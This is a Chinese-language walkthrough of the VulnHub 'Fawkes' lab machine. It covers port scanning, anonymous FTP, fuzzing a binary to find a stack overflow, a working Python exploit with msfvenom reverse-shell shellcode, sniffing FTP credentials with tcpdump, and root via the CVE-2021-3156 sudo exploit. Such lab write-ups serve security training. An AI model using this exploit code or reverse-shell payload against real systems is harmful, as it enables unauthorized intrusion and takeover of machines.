打靶记录12——Fawkes

靶机:

php 复制代码
https://download.vulnhub.com/harrypotter/Fawkes.ova

这是个哈利波特系列的靶机,作者和本人都非常喜欢这个系列,因为它的漏洞和利用点都设计得很巧妙。

难度:

目标:

  • 取得2个root权限 + 3 个flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • FTP服务攻击
  • 缓冲区溢出
  • 模糊测试
  • 漏洞利用代码编写
  • 流量抓包分析
  • 堆溢出漏洞攻击
  • Metasploit(MSF)
  • 手动修复EXP代码
  • 本地提权

参考资料

主机发现

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.0.103

sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103

php 复制代码
┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 16:14 CST
Nmap scan report for 192.168.0.103
Host is up (0.0011s latency).

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0          705996 Apr 12  2021 server_hogwarts
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.0.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)
|   256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)
|_  256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
2222/tcp open  ssh        OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
|   3072 c4:1d:d5:66:85:24:57:4a:86:4e:d9:b6:00:69:78:8d (RSA)
|   256 0b:31:e7:67:26:c6:4d:12:bf:2a:85:31:bf:21:31:1d (ECDSA)
|_  256 9b:f4:bd:71:fa:16:de:d5:89:ac:69:8d:1e:93:e5:8a (ED25519)
9898/tcp open  monkeycom?
| fingerprint-strings:
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest:
|     Welcome to Hogwart's magic portal
|     Tell your spell and ELDER WAND will perform the magic
|     Here is list of some common spells:
|     Wingardium Leviosa
|     Lumos
|     Expelliarmus
|     Alohomora
|     Avada Kedavra
|     Enter your spell: Magic Output: Oops!! you have given the wrong spell
|     Enter your spell:
|   NULL:
|     Welcome to Hogwart's magic portal
|     Tell your spell and ELDER WAND will perform the magic
|     Here is list of some common spells:
|     Wingardium Leviosa
|     Lumos
|     Expelliarmus
|     Alohomora
|     Avada Kedavra
|_    Enter your spell:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9898-TCP:V=7.94SVN%I=7%D=8/17%Time=66C05BD6%P=x86_64-pc-linux-gnu%r
SF:(NULL,DE,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x
SF:20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nH
SF:ere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium
SF:\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x
SF:20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20")%r(GenericLines,
SF:125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spe
SF:ll\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x
SF:20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20L
SF:eviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Ava
SF:da\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oop
SF:s!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x
SF:20spell:\x20")%r(GetRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x2
SF:0portal\nTell\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perfo
SF:rm\x20the\x20magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spe
SF:lls:\n1\.\x20Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n
SF:4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell
SF::\x20Magic\x20Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong
SF:\x20spell\n\nEnter\x20your\x20spell:\x20")%r(HTTPOptions,125,"Welcome\x
SF:20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spell\x20and\x20E
SF:LDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x20is\x20list\x
SF:20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20Leviosa\n2\.\x2
SF:0Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\
SF:x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oops!!\x20you\x20
SF:have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x20spell:\x20")
SF:%r(RTSPRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell
SF:\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20
SF:magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20
SF:Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohom
SF:ora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x2
SF:0Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\n
SF:Enter\x20your\x20spell:\x20");
MAC Address: 08:00:27:80:17:B1 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.01 seconds

发现21端口开着vsftp服务,版本是vsftp 3.0.3,漏洞库搜索一下
searchsploit vsftp 3.0.3发现一个远程拒绝服务攻击脚本,就是我们可以把它打死,但是不能利用它去控制目标系统,那对我们没有什么帮助

发现它的FTP服务可以匿名登录,并且存在一个文件叫server_hogwarts,霍格沃兹就是哈利波特学习魔法的学校hogwart

并且发现奇怪的是服务器开启了两个SSH服务,版本不一样,端口也不一样,待会再看看怎么个事

9898端口开启的服务nmap不认识,就随便给了个名字,后面显示的内容是欢迎来到霍格沃兹,选择自己喜欢的魔法吧!

  • Wingardium Leviosa(漂浮升空)悬浮咒,可以让物体飞起来
  • Lumos(荧光闪耀)
  • Expelliarmus(除你武器)
  • Alohomora(开锁咒)
  • Avada Kedavra(索命咒)阿瓦达啃大瓜

sudo dirsearch -u http://192.168.0.103扫描目录没有什么发现

那么我们匿名登录一下FTP服务器
ftp 192.168.1.103账号为:anonymous,密码为空

登录之后把server_hogwartsget下来慢慢看,然后想cd到其他的目录却失败了

file server_hogwarts发现他是一个可执行程序,给它赋予执行权限然后执行看看有什么效果

ps -aux | grep server看到运行了进程
ss -pantu | grep server看到在本机开启了监听端口

nc 127.0.0.1 9898NC上去看看运行效果,就是一些个咒语实现的效果

那这个靶机的意图也就非常明显了,肯定是这个程序本身,它存在某种漏洞,但是由于它是一个二进制的可执行程序,所以我们没办法查看它的源码,从源码审计,那就只能做动态调试,做FUZZ模糊测试

进行测试之前,还得先关掉kali本机的alsr功能,alsr是一种内存地址随机化的安全技术, 不关掉的话会导致我们自己挖漏洞的时候挖不出来,每次内存地址都会变

我们需要把2改成0,这样就会关闭它

sudo apt install edb-debugger安装一个有图形化界面的友好一点的调试工具

点击Attach

搜索server

然后点击run

这样就通过调试器连接上了服务端程序

接下来就需要对程序发起一些注入的探测请求

向唯一的数据提交点提交500个大写字母A
python -c "print('A'*500)"

然后调试器直接报错,说EIP的内存地址被覆盖了,那就99%确定这个地方存在缓冲器溢出漏洞


msf-pattern_create -l 500生成500个内容不重复的字节序列

在提交数据之前重启一下server_hogwarts服务和edb工具,否则可能影响我们队漏洞挖掘结果的判断

用小工具msf-pattern_offset -l 500 -q 64413764查看EIP寄存器当中注入的字符在这500个字符中的哪个位置里面

编写一个EXP进行测试

python 复制代码
#!/usr/bin/python
import sys,socket
payload = 'A'*112 + 'B'*4 + 'C'*32
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
  print("Wrong!")
  sys.exit()

在运行脚本提交数据之前重启一下server_hogwarts服务和edb工具,保证我们测试时,运行环境是一个干净的环境

运行代码:

报错弹窗提示,如果想进一步查看他的情况请按F7,F8,F9来查看。其实你可以再次点击▶️让程序在报错的前提下继续运行,因为这个弹窗只是提示你server_hogwarts出现了故障但是并不代表其不能继续运行。

参考博客:https://www.cnblogs.com/cchl/articles/vulnhub_fawkes.html#缓冲区溢出漏洞测试

反弹shell

用插件OpcodeSearcher找到跳到ESP的指令



jmp esp,跳到ESP的内存地址是0x08049d55,放到exp中的4个B的位置那里

python 复制代码
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.102 LPORT=4444 -b "\x00" -f py

生成一串反弹shell的代码

  • -b 参数去掉坏字符"\x00",因为程序运行到这个字符的话就会以为结束了,从而停止运行
  • -f 参数生成python格式的代码
python 复制代码
#!/usr/bin/python
import sys,socket

buf =  b""
buf += b"\xdb\xda\xba\x40\xb5\xb0\xf2\xd9\x74\x24\xf4\x5b"
buf += b"\x31\xc9\xb1\x12\x31\x53\x17\x03\x53\x17\x83\xab"
buf += b"\x49\x52\x07\x1a\x69\x64\x0b\x0f\xce\xd8\xa6\xad"
buf += b"\x59\x3f\x86\xd7\x94\x40\x74\x4e\x97\x7e\xb6\xf0"
buf += b"\x9e\xf9\xb1\x98\xe0\x52\x41\x3e\x89\xa0\x42\xaf"
buf += b"\x15\x2c\xa3\x7f\xc3\x7e\x75\x2c\xbf\x7c\xfc\x33"
buf += b"\x72\x02\xac\xdb\xe3\x2c\x22\x73\x94\x1d\xeb\xe1"
buf += b"\x0d\xeb\x10\xb7\x9e\x62\x37\x87\x2a\xb8\x38"

payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32  + buf
"""
这里需要注意三点:
	1,EIP的注入位置的JUMP ESP的地址需要进行字节的颠倒,因为靶机为小端。这个细节非常非常重要,只要是缓冲区溢出漏洞都需要注意这一点
	2,'\x90'的添加,为了防止恶意代码举例ESP起始位置太近导致的执行异常,一般添加该字节来让CPU划过该命令
	3,都要用b''二进制来显示
"""


try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
  print("Wrong!")
  sys.exit()

重启运行服务,nc开启监听,执行脚本即可反弹shell成功


这是得到的本机kalishell,所以我们需要修改代码中的IP地址,来对靶机发起攻击

再次运行脚本获得shell

按照惯例升级一下shell,但是没有python,也没有bash,那就只能用/bin/sh -i

在当前目录下发现一个密码HarrYp0tter@Hogwarts123,想起前面信息收集的时候有两个ssh服务开启着

ssh harry@192.168.0.103 -p 2222,登录上去发现还是harry,还有IP地址是172.17.0.2,和靶机IP地址192.168.0.103不一样

ls / -la查看根目录的文件,发现.dockerenv,很明显是一个docker容器

信息收集:

发现flag文件horcrux1.txt魂器 (Horcrux )是黑巫师为了使自己长生不死而制造出来的用于储藏灵魂碎片的物品

查看一下这两个文件,第一个说哈利波特被伏地魔摧毁了,note.txt文件显示有人在一直尝试登录FTP服务器但是没成功,我们可以通过流量抓包工具来进行分析它

由于靶机只是一个命令行界面,所以我们用不了wireShark,只能用最原始的tcpdump这个命令
tcpdump -i eth0 port 21只对21端口进行抓包,等待大概一分钟左右的时间才有流量产生

发现用户名和密码:neville``bL!Bsg3k,尝试SSH登录,发现是真实的靶机(由于我网络出了点问题,所以靶机IP从103变成104了)

内核版本和sudo版本都与CVE-2021-3156中的一致

可以用以下这段代码验证漏洞是否存在sudoedit -s '\' perl -e 'print "A" x 65536'``,输入命令有报错,说明漏洞存在

利用exp脚本进行提权,具体是Github仓库中的exploit_nss.py这个文件

靶机上的sudo位置在/usr/local/bin/sudo

修改exploit_nss.py代码中的sudo位置

将脚本通过nc发送到靶机上

靶机nc -lvnp 4444 > exp.py,将nc接收到的信息保存为exp.py文件

本机nc 192.168.0.104 4444 < exploit_nss.py -w 1将文件传输过去,-w 1参数意思是当文件传输结束后隔一秒钟就断开连接

然后在靶机输入python3 exp.py就获得了root权限

获取最后的两个flag

纳吉尼(伏地魔身边的那条蛇)被纳威 隆巴顿(剑圣)给摧毁了

伏地魔被哈利波特打败了!

打靶完毕!

相关推荐
you秀21 分钟前
linux中的iptables的简介与常用基础用法
linux·运维·服务器
风和日丽 随波逐流1 小时前
java17学习笔记
笔记·学习
画中有画1 小时前
使用AI来实现拼多多自动化运营脚本
运维·人工智能·自动化·ai编程·rpa·自动化脚本
xlntj1 小时前
VsCode远程连接服务器后安装Github Copilot无法使用
服务器·vscode·github
matlab的学徒3 小时前
计算机网络
服务器·网络·计算机网络
vvilkim5 小时前
Java主流框架全解析:从企业级开发到云原生
java·运维·云原生
m0_738120725 小时前
CTFshow系列——命令执行web38-40
前端·windows·安全·web安全
Wy_编程9 小时前
Linux-文本搜索工具grep
linux·运维·服务器
qq998999 小时前
AAA服务器技术
运维·服务器
xujiangyan_9 小时前
linux的sysctl系统以及systemd系统。
linux·服务器·网络